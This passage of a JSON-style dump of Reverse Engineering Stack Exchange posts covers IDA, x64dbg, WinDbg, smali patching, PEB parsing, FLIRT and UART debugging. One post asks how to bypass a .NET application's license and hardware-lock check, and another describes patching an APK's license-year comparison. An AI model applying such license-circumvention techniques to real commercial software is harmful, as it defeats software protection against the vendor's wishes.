processor.</p>\n</li>\n<li><p>(thanks to mumbel for pointing this out) <a href=\"https://www.reddit.com/r/ghidra/comments/f5lk42/my_experience_writing_processor_modules/\" rel=\"nofollow noreferrer\">This reddit post</a> provides valuable details on adding a processor.</p>\n</li>\n<li><p>(thanks to Heiko) <a href=\"https://spinsel.dev/\" rel=\"nofollow noreferrer\">This blog</a> contains tutorials on how to put together SLEIGH, pcode, and related concepts.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "25076",
        "CreationDate": "2020-05-20T22:47:10.137",
        "Body": "<p>i'm trying to learn reverse engineering for penetration testing my codes and i believe i won't learn unless i can do some practical so\nI'm trying to crack an application that is written in C# and all i wanna do is to find the assembly location of the <code>if</code> statement that checks for a license file which i believe i can bypass the license, just jumping over the <code>if</code> statement but i can't figure out how to do with <strong>IDA Pro</strong> or <strong>X64dbg</strong>. i'm not sure if i can do that or not because C# is byte code but i think <strong>IDA Pro</strong> and <strong>X64dbg</strong> are only for opcode applications right?  and beside, bypassing it through assembly may cause other crashes in the application. i tried <strong>dnSpy</strong> and <strong>ILSpy</strong> thanks to <code>morsisko</code> in the comments.</p>\n<p>i was able to decompile the application and access the codes and i even found the <code>if</code> statement in the decompiled codes with JetBrains dotpeek and Visual Studio but i can't compile it again because of the errors in the image below</p>\n<p><strong>verbose mode:</strong>\nthis application first checks for license and then checks for a hardware lock and i believe i can bypass them by <code>jmp</code> and <code>nop</code> in assembly cause after decompiling the application i spotted where the application looks for license and hardware lock and i saw <a href=\"https://guidedhacking.com/\" rel=\"nofollow noreferrer\">guided hacking</a> did the same using x64dbg. the problem is i don't know the tools to do it for C# application and the codes are like hashed!\n<a href=\"https://i.stack.imgur.com/eTm36.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eTm36.jpg\" alt=\"decompiled source screenshot\" /></a>\nthis is the reason i can't compile the code again</p>\n",
        "Title": "Debug and crack .NET executable PE",
        "Tags": "|ida|assembly|debugging|x64dbg|c#|",
        "Answer": "<p>reading your question several times and the discussion in the comments i did not understand what you're trying to get/obtain, so i will be answering to parts that i think that are relevant according to the problems you posed. maybe other and more experienced people here would help elaborate and improve:</p>\n\n<p>if you're trying to \"reverse\" an interpreted code, .net in this case, i think the best way to do so is using dnspy, as it gives you pretty much all that you need to understand the logic, patch and change things accordingly and deal with obfuscation and similar operations.</p>\n\n<p>now you said you're struggling with obfuscation, but obfuscation is just a way to mislead the user doing the reversing. meaning you can, sometimes with great effort, to understand what's going on behind the scenes, change variable names and function names accordingly, to make it more \"logical\" to you. using a decompiler can also help you see the bigger image, but it's mostly about filling the gaps, bit and bit. what i usually do in situations like that, i try to find the calling functions and trying to understand what they do, the logic behind them, what parameters they use and why, and i go with the simplest path, meaning: sometimes if function contains a lot misleading paths, but it's easier to infer the logic from the variables, you can understand what the function does, name the variables correctly, and then go over to understand the function and its implementation to avoid wasting time on dead paths(though you can check coverage to understand what parts of the code are usually used). sometimes it's just the other way around, going with the function, understanding a bit of it's logic, understanding the parameters, and then fixing the parameters and the function, but it's mostly goes down to experience with similar tasks and going with your gut, but understanding it can be wrong(hard part is knowing when to stop before going too deeply in the wrong path).</p>\n\n<p>in regards to encryption or coding, sometimes going dynamically debugging might help you a lot with understand how it translates and checks your input, or the mechanism behind the encryption. but usually it goes down to many basic encryption/coding algorithms or custom implementation of them, that can be spotted with some experience, and then it's easier. if you coded the application and it's not a malware(though you should have snapshots), then there's nothing wrong if you do \"bad things\", just to understand which functions the program is calling, how it handles information, common program paths, apis, obfuscation and finally dealing with the encryption scheme you're facing. sometimes you don't need to face the encryption if it's not done correctly, you can, at times, just avoid it.</p>\n\n<p>you said you wanted to crack the application, so i don't understand what you mean by that, i thought you meant like a crackme kind of task. if you really want to \"crack\" applications, you should know that there are lot of other defensive mechanisms such as checksums, different signatures, sometimes server verification and similar, but it all goes down to understand the logic behind what's happening. though i really don't think \"cracking\" is not a good path to walk at, i think that you should find better ways to use your skills for good, for instance malware analysis or hardening software/binaries by identifying weak implementations and similar.</p>\n\n<p>anyways, since you did not provide a problem but a general issue, my best answer is to go with your guts, fail, and then learn why you failed to try it again and again until you understand how it works. it will help you understand and develop \"hunch\". then it's easier to understand how to defeat obfuscation and encryption and similar mechanisms.</p>\n\n<p>bottom line is simple, ask yourself simple question, what does it do? is it obfuscated? is it encrypted? why is it encrypted? how does it encrypt? what does it encrypt? how does it check what is correct/wrong? does it matter if i input the correct information or can i bypass it somehow? but the easiest way is just understanding the goal, and going backwards, and thus tackling only what actually interferes with your progress, and not meaningless things that you solved, but could have avoided.</p>\n\n<p><a href=\"https://stackoverflow.com/a/24391998\">this answer</a> would introduce some tools for debugging C# application</p>\n\n<p>hope i helped a bit and good luck</p>\n"
    },
    {
        "Id": "25078",
        "CreationDate": "2020-05-21T08:40:28.140",
        "Body": "<p><strong>Background</strong></p>\n\n<p>Since some time we've been in the possession of a greenhouse. It was build around 1990 and had an automated system for climate control. However most of the installation has been removed when that greenhouse was sold, so there no longer is equipment for moisture control, heating, ... This causes the existing automated climate control system to no longer work.</p>\n\n<p>Thing is though, since it's a greenhouse - it does get really hot in the summer. We use it for storing goods and vehicles, so a high temperature is not desired. We can manually open the roof, but the desire is there to have this automated.</p>\n\n<p>There is a computer with software that is connected to the installation via a D-sub DC-37 plug. However since a lot of the equipment is no longer installed, the software does not operate as it should because it gets no signal from these removed components, and it's algorithm clearly does not like that.</p>\n\n<p>What is still available in the greenhouse is indoor temperature measurement, outdoor temperature measurement, windspeed measurement and rain measurement. The engines to open and close the roof panels are still there and there is still a sunscreen that is operational.</p>\n\n<hr>\n\n<p><strong>Question</strong></p>\n\n<p>I would like to figure out in some way what signals / instructions the software sends over the DC-37 connector. This way, I can write my own program that opens the roof windows if the temperature is too high, and the wind speed is below the safety maximum speed.</p>\n\n<p>The software is rather old software (from 1992) designed to run on DOS. It might be a BASIC program, since the floppy disk containing it also has a file BRUN30.exe, which according to a quick google search is needed by DOS to run compiled Basic programs.</p>\n\n<p>None of the executables are (understandably) working on Windows 10. It also contains COM files.</p>\n\n<p>The actual program executable the contains the algorithm I believe is the 'BL270690.EXE' file. It might also be that the 'SETUPIO.EXE'contains the code to send data / instructions over the DC-37 port.\n<a href=\"https://i.stack.imgur.com/R2ig0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/R2ig0.png\" alt=\"list of files of the program\"></a></p>\n\n<p>What would be the best approach for me to determine what instructions I need to send to Read the wind speed, open the roof windows, ...</p>\n\n<p>What possibilities are there to reverse engineer these old executables / COM files?</p>\n\n<p>Thanks in advance, finding a solution would mean a lot to me!</p>\n",
        "Title": "How to determine commands sent over DC-37 port by software from 1992",
        "Tags": "|disassembly|serial-communication|dos|dos-com|",
        "Answer": "<p>You\u2019re in for a wild ride but it can be achieved if you persist and in any case you will learn a lot. </p>\n\n<p>I would probably start like this:</p>\n\n<ol>\n<li><p>Check what programs are run by <code>autoexec.bat</code></p></li>\n<li><p>Run them in DOSBox and observe the output. </p></li>\n<li><p>Step through the code in DOSBox debugger (you may need to make your own build to enable it) and try to identify accesses to the serial port and what it expects to receive</p></li>\n<li><p>Either try to provide necessary input via the ports or patch the code so it works with what there is. </p></li>\n</ol>\n\n<p>The problem is somewhat exacerbated by the presumed use of Basic. It means that most of the code executed would be the code of the interpreter and not the actual program. It might be worth figuring out how the interpreter works and trying to extract the original Basic code to understand the logic better. However that\u2019s a whole another adventure in itself so might be left as a backup option if the other attempts fail. </p>\n\n<p>This question may offer some hints for dealing with DOS Basic binaries:\n<a href=\"https://reverseengineering.stackexchange.com/q/1503/60\">Reverse engineer an old DOS QBasic executable</a></p>\n"
    },
    {
        "Id": "25086",
        "CreationDate": "2020-05-21T21:30:10.887",
        "Body": "<p>I'm working on an executable. I've searched by string, and found my string appears once in something that looks like table of localized strings + keys. Now I want to find the function which accesses the table and retrieves a localized string. The problem is that the table is big. VERY big. I tried scrolling up until I find XRef, but either I scroll too fast or too slow and I'll never finish. Instead, I'd like for IDA to find the nearest XRef <strong>before</strong> an address. Is there any way to do that?</p>\n\n<p><strong>P.S.</strong> If you're think I'm doing this wrong, please let me know (I'm still a beginner in reverse engineering) - but answer my question too, nevertheless.</p>\n",
        "Title": "Find Nearest Address Which Has XRef in IDA",
        "Tags": "|ida|",
        "Answer": "<p>It could be done with a script but for occasional use a text search will do the trick: </p>\n\n<ol>\n<li><kbd>Alt-T</kbd></li>\n<li>String: XREF</li>\n<li>[x] Search Up</li>\n</ol>\n\n<p>Because text search looks in whole disassembly, including comments, it should find the line with the text 'xref' in the comment.</p>\n"
    },
    {
        "Id": "25088",
        "CreationDate": "2020-05-22T06:44:19.137",
        "Body": "<p>I have separately decompiled apk to smali/dalvik and to java classes. As apk is not obfuscated java code is pretty good to read and I can pretty easily see corresponding smali code. \nSo far I was able to do successfully:</p>\n\n<ul>\n<li>modify code for checking license file (change comparison for year)</li>\n<li>add logging to some basic data. Logger function was already in apk to I just call it and everything works fine. I use adb to read logs. </li>\n</ul>\n\n<p>What I was trying to add next was to add logging for byte array. Why? Because this apk connects to Bluetooth device from which it receives the data. I wanted to know what data it receives. As I didn't know how to do that this is what I did:</p>\n\n<p>I've made simple Android app with static function which gets byte array and returns string (copied some snipped). It was using BigInteger. Then I compiled it and decompiled using apktool.</p>\n\n<pre><code>    .method public static ByteArrayToString([B)Ljava/lang/String;\n    .locals 2\n    .param p0, \"data\"    # [B\n\n    .line 16\n    new-instance v0, Ljava/math/BigInteger;\n\n    const/4 v1, 0x1\n\n    invoke-direct {v0, v1, p0}, Ljava/math/BigInteger;-&gt;&lt;init&gt;(I[B)V\n\n    const/16 v1, 0x10\n\n    invoke-virtual {v0, v1}, Ljava/math/BigInteger;-&gt;toString(I)Ljava/lang/String;\n\n    move-result-object v0\n\n    .line 17\n    .local v0, \"hexaString\":Ljava/lang/String;\n    return-object v0\n    .end method\n</code></pre>\n\n<p>I copied that whole function to my decompiled apk (the same class from which I wanted to call it/log data) and called that function.</p>\n\n<pre><code>    invoke-static {v0}, Lxx/xxxx/xxxxx/xx/xxxx/xxxxxx;-&gt;ByteArrayToString([B)Ljava/lang/String;\n    const-string v5, \":: MY RAW DATA: \"\n    invoke-static {v5}, Landroid/util/Log;-&gt;d(Ljava/lang/String;Ljava/lang/String;)I\n    move-result-object v4\n    invoke-static {v4}, Lorg/apache/log4j/helpers/LogLog;-&gt;debug(Ljava/lang/String;)V\n</code></pre>\n\n<p>Unfortunately it didn't work. Application compiled succesfully, it installed and lunched without a crash. However it didn't connect to my bluetooth device (bluetooth communication is essential). </p>\n\n<p>So here are some questions (edited):</p>\n\n<ul>\n<li>Is my approach correct?</li>\n<li>What may be the reason for application not to work with bluetooth anymore?</li>\n<li>Where should I put additional logic? Is the same class OK?</li>\n<li>What about importing? For example in my new logic I had to import java.math.BigInteger; Will my function has this import somehow embedded in its logic?</li>\n<li>Is there any better approach than mine?</li>\n</ul>\n\n<p><strong>EDIT:</strong></p>\n\n<p>I've solved my initial problem, now I'm trying to figure out the rest. \nAnswers are:</p>\n\n<ul>\n<li><p>Yes, my approach is correct and it works. I just used wrong log function (as it was mentioned in comment below).</p></li>\n<li><p>Probably using this function (instead of adding new method) is sufficient:</p></li>\n</ul>\n\n<pre><code>invoke-static {v0}, Ljava/util/Arrays;-&gt;toString([B)Ljava/lang/String;\n</code></pre>\n\n<ul>\n<li>Strangely my problems with discovering Bluetooth devices has been solved by enabling GPS. Not 100% sure, but looks that way. I also saw this in logs:</li>\n</ul>\n\n<pre><code>BluetoothUtils: packagename is xx.xxxxx.xxxx ,and its permission is false\n</code></pre>\n",
        "Title": "Modifying (adding new logic) decompiled apk to log different kind of data causing problems (crash/bluetooth connection)",
        "Tags": "|android|apk|dalvik|",
        "Answer": "<p>I think your approach is generally correct. You probably can't connect to the Bluetooth because your additional code throws an exception somewhere. The best idea would be to check it during dynamic analysis. You can do it using for example Android Studio and <a href=\"https://github.com/JesusFreke/smalidea\" rel=\"nofollow noreferrer\">smalidea</a> plugin.</p>\n\n<p>As far as I see you don't store the result of your <code>ByteArrayToString</code> function call. You also pass only one parameter to the <code>android.util.Log.d</code> function (in your case <code>v5</code>) but it actually requires two parameters.</p>\n\n<p>You can hook and intercept functions in android applications using for example dynamic instrumentation. Good tool for this purpose is named <a href=\"https://frida.re/docs/home/\" rel=\"nofollow noreferrer\">frida</a>. Thanks to this tool you can hook various functions and change the behavior during runtime (for example add logging feature) without repacking the application. You don't need to mess with smali code, instead you can just use their easy JavaScript API. </p>\n\n<p>If you are interested in the Bluetooth data logging there is even better way. You can use bulit-in Android function called <code>Bluetooth HCI snoop log</code>. You can enable it in developer options on your phone. After you enable the option all the bluetooth communication made between those devices will be recorded and saved onto internal storage. You can later copy the <code>btsnoop_hci.log</code> and possibly all files with the <code>.cfa</code> extension to further examination. Those files can be loaded into for example popular program named <a href=\"https://www.wireshark.org/\" rel=\"nofollow noreferrer\">WireShark</a> and inspected similar  to PCAP files.</p>\n"
    },
    {
        "Id": "25097",
        "CreationDate": "2020-05-23T08:05:27.403",
        "Body": "<p>Okay, so in the following code-snippet I am starting a <code>notepad.exe</code> process in a suspended state and trying to get the AddressOfEntryPoint of the process. Problem is I can't seem to find the actual <code>codeEntry</code>.</p>\n\n<p>Both the application and the <code>notepad.exe</code> process is 64-bit.</p>\n\n<p>What am I doing wrong?</p>\n\n<p>Here is the commented code-snippet:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;windows.h&gt;\n#include &lt;winternl.h&gt;\n\n#pragma comment(lib, \"ntdll\")\n\nusing namespace std;\n\nint main() {    \n    STARTUPINFOA si;\n    si = {};\n    PROCESS_INFORMATION pi = {};\n    PROCESS_BASIC_INFORMATION pbi = {};\n    DWORD returnLength = 0;\n    CreateProcessA(0, (LPSTR)\"c:\\\\windows\\\\system32\\\\notepad.exe\", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &amp;si, &amp;pi);\n\n    // get target image PEB address and pointer to image base\n    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &amp;pbi, sizeof(PROCESS_BASIC_INFORMATION), &amp;returnLength);\n    DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 10;\n\n    // get target process image base address\n    LPVOID imageBase = 0;\n    ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;imageBase, 16, NULL);\n\n    // read target process image headers\n    BYTE headersBuffer[4096] = {};\n    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);\n\n    // get AddressOfEntryPoint\n    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;\n    PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)headersBuffer + dosHeader-&gt;e_lfanew);\n    LPVOID codeEntry = (LPVOID)(ntHeader-&gt;OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)imageBase);\n\n    // Do something with the AddressOfEntryPoint(print to console in this case)\n    cout &lt;&lt; codeEntry &lt;&lt; endl;\n\n    return 0;\n}\n</code></pre>\n",
        "Title": "Finding AddressOfEntryPoint for a 64-bit process",
        "Tags": "|c++|winapi|",
        "Answer": "<p>Generally you are doing almost all correct, there are however two simple mistakes.</p>\n\n<p>First and probably most important is here </p>\n\n<pre><code>DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 10;\n</code></pre>\n\n<p>The offset to <code>ImageBaseAddress</code> is not <code>10</code>, it's <code>0x10</code> (16 in DEC). So you need to do it like this</p>\n\n<pre><code>DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 0x10;\n</code></pre>\n\n<p>Secondly, are you sure that sizeof <code>LPVOID</code> is 16? At least on my compiler it is 8, not 16, so you are mostly like overwriting data on the stack. That's why I propose this approach</p>\n\n<pre><code>ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;imageBase, sizeof(LPVOID), NULL);\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;imageBase, 16, NULL);\n</code></pre>\n"
    },
    {
        "Id": "25100",
        "CreationDate": "2020-05-23T15:16:14.290",
        "Body": "<p>I am trying to reverse engineer software to extend its functionality as expected of me. So I don't have the source code with me. Anyways, I am used to seeing codes that start like the one below, and is clear to me what is actually going on there. </p>\n\n<pre><code>push ebp\nmov ebp,esp\nsub esp,10h\n</code></pre>\n\n<p>But my worries came when I saw one that looks like this below</p>\n\n<pre><code>mov edi,dword ptr [0E9A474h];\nimul eax,dword ptr [edi+5AF4h],70h;\ncmp dword ptr [ebp+eax-35DCh],0h;\nje some_location\n</code></pre>\n\n<p>And the prologue for the function doesn't have any instruction like this</p>\n\n<pre><code>sub esp,10h\n</code></pre>\n\n<p>At least I could have known the size of the stack the function is using for local variable storage.</p>\n\n<p>And additional question is:</p>\n\n<ol>\n<li>Is this a good programming as far as assembly language is a concern?</li>\n<li>Can there be any collision in memory between this function and another?</li>\n<li>Is it possible to know the limit of this function in the stack? Either the Size</li>\n</ol>\n",
        "Title": "How's this code able to make use of the stack?",
        "Tags": "|assembly|x64dbg|",
        "Answer": "<p>The function prologue (<code>push ebp</code>, etc.) is common in assembly, but not required. <code>ebp</code> is often used for local varible access, but can as well be used as a general purpose register, just like <code>eax</code>.</p>\n\n<p>Assembly allows the code to manipulate stack pointer at any place and doesn't force it to follow any convention - as long as there are no exceptions, CPU will not care; it will simply execute the instructions pointed by <code>eip</code> register. It will not stop you from accessing (even modifying) other function's memory as long as your program has enough privileges to do that. I think this answers your first two questions.</p>\n\n<p>Regarding your third question, in general, it is not possible. However, usually, you can look for the instructions modifying <code>esp</code> (like <code>push</code>, <code>pop</code>, etc.) and infer it from them. If you showed us the entire function, it would be easier to tell the size in this particular case.</p>\n\n<p>In fact, the instructions you have shared with us don't seem to access local variables of this function or of any other either. I don't know what are the values stored in <code>edi</code> and <code>ebp</code> registers, but I guess they point to some dynamically allocated data on heap.</p>\n"
    },
    {
        "Id": "25111",
        "CreationDate": "2020-05-25T11:07:49.993",
        "Body": "<p>I'm trying to debug a dll file using Ida disassembler and Windbg.\nI'm debugging rundll32.exe and passing the target dll (debugee) as an argument. \nI'm able to have a breakpoint on each Dll load &amp; unload, but I'm looking for a way to debug the target dll Main function.\nI want to put a breakpoint on the dispatcher of the dll main function in the loader (ntdll.dll) in order to do this.\nWhat is the routine responsible for dll main dispatching?\nMy environment is windows 10 version 1809.</p>\n",
        "Title": "what routine in ntdll.dll is responsible of dispatching DllMain function of loaded dll?",
        "Tags": "|ida|windows|dll|",
        "Answer": "<p>using windbg  you can set an sxe ld:Modname event break</p>\n\n<p>assuming you are running this which will pop up a help gui for printers </p>\n\n<pre><code>rundll32.exe printui.dll PrintUIEntry /?\n</code></pre>\n\n<p>if you want to Break on this printUI.dll's CrtMain or AddressOfEntryPoint you can do it like this </p>\n\n<pre><code>C:\\WINDOWS\\system32&gt;cdb rundll32.exe printui.dll PrintUIEntry /?\n\nMicrosoft (R) Windows Debugger Version 10.0.17763.132 AMD64\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nntdll!LdrpDoDebuggerBreak+0x30:\n00007ffc`b725121c cc              int     3\n\n0:000&gt; sxe ld:printui.dll    \n0:000&gt; .sxcmds\nsxe ld:printui.dll ;\n\n0:000&gt; g\nModLoad: 00007ffc`a04e0000 00007ffc`a058d000   C:\\WINDOWS\\system32\\printui.dll\nntdll!NtMapViewOfSection+0x14:\n00007ffc`b721c5c4 c3              ret\n\n0:000&gt; .lastevent\nLast event: 1d84.293c: Load module C:\\WINDOWS\\system32\\printui.dll at 00007ffc`a04e0000\n  debugger time: Mon May 25 23:55:59.235 2020 \n\n0:000&gt; .shell -ci \"!dh 00007ffc`a04e0000\" findstr /I Entry\n    3CA0 address of entry point\n.shell: Process exited\n\n0:000&gt; bp 00007ffc`a04e0000+3ca0\n0:000&gt; bl\n 0 e 00007ffc`a04e3ca0     0001 (0001)  0:**** printui!DllMainCRTStartup\n0:000&gt; g\nModLoad: 00007ffc`b5950000 00007ffc`b59f3000   C:\\WINDOWS\\System32\\ADVAPI32.dll\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nBreakpoint 0 hit\nprintui!DllMainCRTStartup:\n00007ffc`a04e3ca0 48895c2408 mov qwordptr[rsp+8],rbx ss:0000009a`5918edd0=0000000000000000\n</code></pre>\n\n<p>and you can see the call stack to find all the responsible calls that leads to this break</p>\n\n<pre><code>0:000&gt; k\nChild-SP          RetAddr           Call Site\n0000009a`5918edc8 00007ffc`b71a50a1 printui!DllMainCRTStartup\n0000009a`5918edd0 00007ffc`b71e9405 ntdll!LdrpCallInitRoutine+0x65\n0000009a`5918ee40 00007ffc`b71e91f8 ntdll!LdrpInitializeNode+0x1b1\n0000009a`5918ef80 00007ffc`b71aaa97 ntdll!LdrpInitializeGraphRecurse+0x80\n0000009a`5918efc0 00007ffc`b71a2591 ntdll!LdrpPrepareModuleForExecution+0xbf\n0000009a`5918f000 00007ffc`b71a22a8 ntdll!LdrpLoadDllInternal+0x199\n0000009a`5918f080 00007ffc`b71a1764 ntdll!LdrpLoadDll+0xa8\n0000009a`5918f230 00007ffc`b43e56f0 ntdll!LdrLoadDll+0xe4\n0000009a`5918f320 00007ff7`ff62356e KERNELBASE!LoadLibraryExW+0x170\n0000009a`5918f390 00007ff7`ff623aff rundll32!_InitCommandInfo+0x82\n0000009a`5918f7e0 00007ff7`ff6262d9 rundll32!wWinMain+0x1ef\n0000009a`5918fa50 00007ffc`b6287bd4 rundll32!__wmainCRTStartup+0x1c9\n0000009a`5918fb10 00007ffc`b71eced1 KERNEL32!BaseThreadInitThunk+0x14\n0000009a`5918fb40 00000000`00000000 ntdll!RtlUserThreadStart+0x21\n</code></pre>\n"
    },
    {
        "Id": "25113",
        "CreationDate": "2020-05-25T12:01:55.707",
        "Body": "<p>I'm trying to find <code>libc</code> symbols in some Windows 32-bit application. For some reason, Ida autoanalysis didn't recognized code that comes from <code>libc</code> as \"library function\", but as a \"regular function\". Let me make it more clear with some screenshots.</p>\n\n<p>My tutor got the following result (sorry for the low quality, I describe whats in it after the shot):\n<a href=\"https://i.stack.imgur.com/jobXw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jobXw.png\" alt=\"enter image description here\"></a>\nThis is the same image and you (maybe) can see that the <code>malloc</code> function at <code>0xE0E5DE</code> is recognized as library function. The whole neighborhood is recognized as library function, since this section is for static-linked <code>libc</code> symbols.</p>\n\n<p>But when I'm loading the image its a \"regular function\", and of course it doesn't resolve as <code>malloc()</code>:\n<a href=\"https://i.stack.imgur.com/R1iiJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/R1iiJ.png\" alt=\"enter image description here\"></a></p>\n\n<p>I tried to re-autoanalyze the code (<code>Options --&gt; General --&gt; Reanalyze Program</code>) but it didn't help. Hence I'm asking for help:</p>\n\n<ol>\n<li>Is there another automatic way to make IDA \"notice\" this code comes from static linking of a library?</li>\n<li>Maybe there is a manual way to do it? like: marking a code chunk as library function and compare it against <code>libc</code>?</li>\n</ol>\n\n<p><strong>P.S: the app was once packed with UPX, I decompress it. I don't believe it has anything to do with this problem, but maybe it has so I'm mentioning it</strong></p>\n",
        "Title": "ida identifies library function as regular function",
        "Tags": "|ida|static-analysis|symbols|libraries|",
        "Answer": "<p>There can be multiple reasons.</p>\n\n<ol>\n<li><p>the FLIRT signatures which have been loaded automatically do not have a pattern for this specific function. You can check which signatures have been applied and try loading additional ones via Signatures view (<kbd>Shift-F5</kbd>).</p></li>\n<li><p>the function pattern was conflicting with another function(s) and has been dropped from the final signature file. If you have the original library with the function, you can try creating your own signature.</p></li>\n<li><p>The function has been modified from the standard one so the matching failed</p></li>\n</ol>\n\n<p>You can try enabling FLIRT diagnostic output by stating IDA with <code>-z4</code> <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow noreferrer\">command line switch</a> and observe if the address in question is mentioned in the log. Maybe that will give some clues about why it hasn't been matched. </p>\n"
    },
    {
        "Id": "25120",
        "CreationDate": "2020-05-26T07:12:24.887",
        "Body": "<p>I've been probing this CCTV DVR board trying to find a serial port to see if I can get console access to it. I found a set of 4 through holes with no headers that looked like a good candidate. I hooked up to my Bus Pirate in UART mode at a baud rate of 115200 and it seemed promising at first:</p>\n\n<pre><code>System startup\n\nU-Boot 2010.06 (Dec 27 2018 - 17:06:41)\n\nCheck Flash Memory Controller v100 ... Found\nSPI Nor(cs 0) ID: 0xc2 0x20 0x18\nBlock:64KB Chip:16MB Name:\"MX25L128XX\"\nSPI Nor total size: 16MB\n*** Warning - bad CRC, using default environment\n\nIn:    serial\nOut:   serial\nErr:   serial\n</code></pre>\n\n<p>Then things get weird. The next line has legible text but some garbage in it, then after that nothing but garbage:</p>\n\n<pre><code>\ufffdP\ufffd\ufffd\ufffdStarting the controller\n+*/\ufffd)))!)       \ufffd!\ufffd+!%) !      \ufffd)*+\ufffd\ufffd\n\n%+\ufffd\ufffd\ufffd5\ufffd!                                -\ufffd\ufffd5\ufffd!\n        !\ufffd!\n           +-\ufffd\ufffd\ufffd\n                !\ufffd\ufffd\ufffd\n\ufffd%      %!-     \ufffd)\ufffd\ufffd\ufffd\ufffd\ufffd+\ufffd\ufffd+     !       %!!5!!\ufffd)!+!\n+)      %%\ufffd+\n                %!5                                                                                                                                                                                          )\n                   \ufffd\ufffd)5 !5)!)   %               \ufffd)!%\n        -\n         %)     )       5)\ufffd-\ufffd\n!                               )\ufffd\ufffd!\ufffd   !\n -      )!\n%-\n  !%!   !       !\n\n!\ufffd\ufffd\n%)!\ufffd%   %%)!    !\ufffd      \ufffd\n%!\ufffd))   !)!)!)!%-\n\ufffd-))!   \ufffd\ufffd      \ufffd\ufffd)))!! \ufffd\ufffd%\n\ufffd%!)\ufffd!)%)\ufffd))%              \ufffd)           %-%+\ufffd\n\ufffd)      !\ufffd5\ufffd    !       \ufffd               !       -!!\n            )%!\n\ufffd\ufffd)\ufffd)%\ufffd)\ufffd\ufffd\ufffd)\n</code></pre>\n\n<p>Is this because the baud rate is suddenly changing? Or is it more likely that the output is switching to some proprietary format?</p>\n\n<p>I also didn't have a super solid connection to the board when trying this, could it be that the connection dropped and then reconnected out of sync or something?</p>\n",
        "Title": "Can a UART port change baud rate at runtime?",
        "Tags": "|hardware|serial-communication|",
        "Answer": "<p>In my case it was a flaky connection. I was originally just using jumper wires to make contact into the through holes on the board and hook it up to the bus pirate. I soldered header pins to it and now I can see the output totally clearly.</p>\n"
    },
    {
        "Id": "25136",
        "CreationDate": "2020-05-28T09:25:52.890",
        "Body": "<p>While reversing some <code>x86</code> executables, I came across a pattern of addressing globals, that I don't familiar with, but it looks like IDA is, and I would like to know more about it.</p>\n\n<pre><code>.text:00002560             public start\n.text:00002560             start proc near\n.text:00002560 mov     ebx, [esp+0]\n.text:00002563 ret          \n\n.text:0001D233 push    ebx\n.text:0001D234 call    start ; ebx is initialized here \n.text:0001D239 add     ebx, 1805Bh \n\n.text:0001D25A lea     edi, (aLsi_0 - 35294h)[ebx] ; \"lsi\" &lt;---- Ida recognizes here an access to global string.\n</code></pre>\n\n<p>I saw this pattern in many different binaries. Does anyone know what is the name of this kind of access and where can I read more about it?</p>\n",
        "Title": "X86 access to global strings pattern",
        "Tags": "|ida|disassembly|x86|",
        "Answer": "<p>The function you (or IDA) labeled <code>start</code> is commonly called <code>__x86.get_pc_thunk.bx</code> and is used by GCC and other compilers to calculate the current execution address for <em>Position independent code</em> (PIC). Usually the <code>add</code> instruction after the call results in <code>ebx</code> gettng the value of the GOT (Global offset table) so that external calls can be done without extra setup (the PLT stubs for external calls in PIC executables assume that <code>ebx</code> points to the GOT), but also global data can be addressed using a fixed offset relative to the GOT. This way the code can run regardless of the actual address at which it has been loaded by the OS (i.e. it is position independent).</p>\n"
    },
    {
        "Id": "25147",
        "CreationDate": "2020-05-29T10:05:49.583",
        "Body": "<p>I am reading a book on reversing and I am curious about one of the assembly snippet i have read in it.</p>\n\n<p>There is a simple disassembly of the function RtlNumberGenericTableElements and it looks like this:</p>\n\n<pre><code>push ebp\nmov ebp, esp\nmov eax, dword ptr [ebp+8]\nmov eax, dword ptr [eax+14]\npop ebp\nret 4\n</code></pre>\n\n<p>And it occured to me, say there is a member of a structure that is a pointer to some other structure. How would I go about dereferencing that member?</p>\n\n<pre><code>struct example {\n  int member1;\n  *object member2;\n};\n</code></pre>\n\n<p>Would I be dereferencing member 2 like so (pointer to struct comes as first param):</p>\n\n<pre><code>mov eax, [ebp+8]\nmov eax, dword ptr [eax]\nmov eax, [eax+8] ; this would get me the pointer to member2???\n</code></pre>\n\n<p>any input appreciated</p>\n\n<p>EDIT:</p>\n\n<p>I see, your explanation was understandable, thank you, I appreciate it.</p>\n\n<p>I have one more question that popped up from my mind. Say in your example, member 2 is a pointer to an int, then </p>\n\n<pre><code>mov eax, [ebp + 8] ; eax contains pointer to struct and its first member\nmov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)\n</code></pre>\n\n<p>Say i would like to get the value of member to into ecx i would carry on like this:</p>\n\n<pre><code>mov eax, [eax]\nmov ecx, [eax]\n</code></pre>\n\n<p>So the whole thing would read like so:</p>\n\n<pre><code>mov eax, [ebp + 8] ; eax contains pointer to struct and its first member\nmov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)\nmov eax, [eax]     ; dereferenfce the pointer that is pointing to member2\nmov ecx, [eax]     ; dereference member2 itself that is a pointer to an 